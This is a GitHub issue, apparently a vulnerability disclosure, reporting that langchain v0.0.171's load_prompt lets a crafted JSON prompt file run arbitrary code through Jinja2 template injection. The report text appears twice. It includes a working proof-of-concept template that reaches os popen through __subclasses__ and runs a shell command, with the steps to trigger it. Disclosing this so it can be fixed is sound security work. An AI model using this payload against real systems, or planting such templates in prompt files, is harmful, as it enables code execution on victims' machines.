An issue in langchain v.0.0.171 allows a remote attacker to execute arbitrary code via a JSON file to load_prompt. This is related to __subclasses__ or a template.
### System Info

windows 11

### Who can help?

_No response_

### Information

- [X] The official example notebooks/scripts
- [ ] My own modified scripts

### Related Components

- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [X] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async

### Reproduction

1. save the following data to pt.json

```json
{
    "input_variables": [
        "prompt"
    ],
    "output_parser": null,
    "partial_variables": {},
    "template": "Tell me a {{ prompt }} {{ ''.__class__.__bases__[0].__subclasses__()[147].__init__.__globals__['popen']('dir').read() }}",
    "template_format": "jinja2",
    "validate_template": true,
    "_type": "prompt"
}

```

2. run

```python
from langchain.prompts import load_prompt
loaded_prompt = load_prompt("pt.json")
loaded_prompt.format(history="", prompt="What is 1 + 1?")
```


3. the `dir` command will be execute 


attack scene: Alice can send prompt file to Bob and let Bob to load it.  
analysis: Jinja2 is used to concat prompts. Template injection will happened
note: in the pt.json, the `template` has payload, the index of `__subclasses__` maybe different in other environment.




### Expected behavior

code should not be execute
Template injection to arbitrary code execution
This is a GitHub Issue
repo:langchain
owner:hwchase17
Title : Template injection to arbitrary code execution
Issue date:

--- start body ---
### System Info

windows 11

### Who can help?

_No response_

### Information

- [X] The official example notebooks/scripts
- [ ] My own modified scripts

### Related Components

- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [X] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async

### Reproduction

1. save the following data to pt.json

```json
{
    "input_variables": [
        "prompt"
    ],
    "output_parser": null,
    "partial_variables": {},
    "template": "Tell me a {{ prompt }} {{ ''.__class__.__bases__[0].__subclasses__()[147].__init__.__globals__['popen']('dir').read() }}",
    "template_format": "jinja2",
    "validate_template": true,
    "_type": "prompt"
}

```

2. run

```python
from langchain.prompts import load_prompt
loaded_prompt = load_prompt("pt.json")
loaded_prompt.format(history="", prompt="What is 1 + 1?")
```


3. the `dir` command will be execute 


attack scene: Alice can send prompt file to Bob and let Bob to load it.  
analysis: Jinja2 is used to concat prompts. Template injection will happened
note: in the pt.json, the `template` has payload, the index of `__subclasses__` maybe different in other environment.




### Expected behavior

code should not be execute
--- end body ---
